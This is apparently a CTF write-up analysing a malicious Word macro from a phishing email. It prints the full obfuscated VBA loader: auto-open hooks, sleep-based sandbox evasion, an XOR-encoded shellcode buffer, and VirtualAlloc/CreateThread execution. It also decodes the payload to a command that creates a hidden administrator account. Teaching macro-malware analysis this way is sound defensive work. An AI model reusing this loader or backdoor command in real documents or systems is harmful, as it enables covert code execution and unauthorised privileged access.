Intro
In this challenge we are presented with an E-Mail, that contains a malicious attachment. The attached doc file contains a malicious VBA macro. Of course, the code is obfuscated and hard to read. It’s up to us to analyze, reverse engineer and crack the VBA code. The name of the challenge, “ocram”, is actually a hint, as it is “macro” spelled backwards.
Obtaining the attachment
Within the machine that is given to us as part of the challenge, there is a .eml-file. Within this .eml file, there is an attachment. We can see this because it contains strings similar to this:
Content-Type: application/octet-stream; Content-Disposition: attachment; filename="example.docm"
Below these lines, there is a base64 string. Attachments within E-Mails are base64 encoded. We can simply copy that string, echo
it, pipe it into base64
and save it to a file:
echo Vz[your b64...]df== | base64 -d > attachment
To determine what kind of file we are dealing with (though we know from the mail that it’s supposed to be a document), we can check the actual file type of this attachment using
file attachment
which presents us with the filetype (by reading the magic bytes) along other info, or we can
xxd attachment | head -n 30
which returns the first few bytes of the file. With the second method, we can check the magic bytes of the file manually.
Analyzing the macro
As a security researcher you should be careful with malicious attachments like these. You should use tools like olevba or oledump to extract any macro from documents. Too keep things simple and since I am working in a VM and this is a CTF challenge, I will use Libre Office Writer to open the document. I navigate to the macro section, find a macro named “NewMacros”. Here is the code:
-- snip --
Sub MyMacro()
Dim buf As Variant
Dim tmp As LongPtr
Dim addr As LongPtr
Dim counter As Long
Dim data As Long
Dim res As Long
Dim dream As Integer
Dim before As Date
If IsNull(FlsAlloc(tmp)) Then
Exit Function
End If
dream = Int((1500 * Rnd) + 2000)
before = Now()
Sleep (dream)
If DateDiff("s", t, Now()) < dream Then
Exit Function
End If
buf = Array(144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132, 121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121, 72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117, 186, 2, 204, 216, 173, _
252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50, 224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98, 139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139, 185, 136, 211, 105, 70, 57, 91, 210, 249, _
142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127, 65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19, 28, 45, 76, 21, 19, 26, 9, _
71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21, 24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108)
For i = 0 To UBound(buf)
buf(i) = buf(i) Xor Asc("l33t")
Next i
addr = VirtualAlloc(0, UBound(buf), &H3000, &H40)
For counter = LBound(buf) To UBound(buf)
data = buf(counter)
res = RtlMoveMemory(addr + counter, data, 1)
Next counter
res = CreateThread(0, 0, addr, 0, 0, 0)
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub AutoOpen()
MyMacro
End Sub
The buf
variable sticks out. Chances are that this is shellcode in hexadecimal representation. Below the variable there is code that will do an XOR operation to the bytes using the string “l33t
”.
We can take these bytes and write our own python script, to do the XOR decryption ourselves:
buf = [144, 219, 177, 116, 108, 51, 83, 253, 137, 2, 243, 16, 231, 99, 3, 255, 62, 63, 184, 38, 120, 184, 65, 92, 99, 132,
121, 82, 93, 204, 159, 72, 13, 79, 49, 88, 76, 242, 252, 121, 109, 244, 209, 134, 62, 100, 184, 38, 124, 184, 121,
72, 231, 127, 34, 12, 143, 123, 50, 165, 61, 184, 106, 84, 109, 224, 184, 61, 116, 208, 9, 61, 231, 7, 184, 117,
186, 2, 204, 216, 173, 252, 62, 117, 171, 11, 211, 1, 154, 48, 78, 140, 87, 78, 23, 1, 136, 107, 184, 44, 72, 50,
224, 18, 231, 63, 120, 255, 52, 47, 50, 167, 231, 55, 184, 117, 188, 186, 119, 80, 72, 104, 104, 21, 53, 105, 98,
139, 140, 108, 108, 46, 231, 33, 216, 249, 49, 89, 50, 249, 233, 129, 51, 116, 108, 99, 91, 69, 231, 92, 180, 139,
185, 136, 211, 105, 70, 57, 91, 210, 249, 142, 174, 139, 185, 15, 53, 8, 102, 179, 200, 148, 25, 54, 136, 51, 127,
65, 92, 30, 108, 96, 204, 161, 2, 86, 71, 84, 25, 64, 86, 6, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92,
65, 84, 58, 118, 91, 58, 9, 3, 101, 70, 33, 100, 75, 18, 56, 102, 113, 48, 15, 89, 113, 77, 76, 28, 82, 16, 8, 19,
28, 45, 76, 21, 19, 26, 9, 71, 19, 24, 3, 80, 82, 24, 11, 65, 92, 1, 28, 19, 82, 16, 1, 90, 93, 29, 31, 71, 65, 21,
24, 92, 65, 7, 76, 82, 87, 25, 5, 93, 90, 7, 24, 65, 65, 21, 24, 92, 65, 84, 67, 82, 87, 16, 108]
# Use repeating XOR key "l33t"
key = [ord(c) for c in "l33t"] # [108, 51, 51, 116]
decoded_bytes = [(b ^ key[i % len(key)]) for i, b in enumerate(buf)]
# Convert to printable string
decoded_str = ''.join(chr(b) if 32 <= b <= 126 else '.' for b in decoded_bytes)
print(decoded_str)
Note that the XOR key used to decrypt the bytes is reused cyclically. So when XORing a longer buffer, the key wraps around repeatedly.
buf[0] XOR key[0]
buf[1] XOR key[1]
buf[2] XOR key[2]
buf[3] XOR key[3]
buf[4] XOR key[0] # starts over
buf[5] XOR key[1]
...
When running the script, we get the following output:
......`..1.d.P0.R..R..r(..J&1..<a|., .......RW.R..J<.L.x.H..Q.Y ...I..:I.4...1.......8.u..}.;}$u.X.X$..f..K.X.........D$$[[aYZQ..__Z....]j.......Ph1.o......*.h......<.|....u..G.roj.S..net user administrrator VEhNe0V2MWxfTUBDcjB9 /add /Y & net localgroup administrators administrrator /add.
That command is designed to create a new Windows user account and immediately add it to the Administrators group, granting it elevated privileges. In this case, it is used to silently create a backdoor admin account.
Let’s break it down:
net user administrrator VEhNe0V2MWxfTUBDcjB9 /add /Y
net user
is used to manage local user accountsadministrrator
is the username being created (note: intentional misspelling of “administrator” as an attempt to impersonate the builtin administrator account)VEhNe0V2MWxfTUBDcjB9
is the password assigned to the account/add
tells Windows to create this new account/Y
is typically used to auto-confirm prompts (though not strictly necessary in this context)
When we take a look at the password, we notice that it looks like a base64 string. When we try to decode the string, we get the flag.
┌──(kali㉿kali)-[~/ctf/industrial-intrusion/forensics1]
└─$ echo "VEhNe0V2MWxfTUBDcjB9" | base64 -d
THM{Ev1l_M@Cr0}
Hint: When you stumble upon a string and don’t know if it might be encoded or encrypted, you can try to load up CyberChef with the “Magic” recipe. It will automatically detect human readable text based on entropy and suggest how to decode / decrypt the string: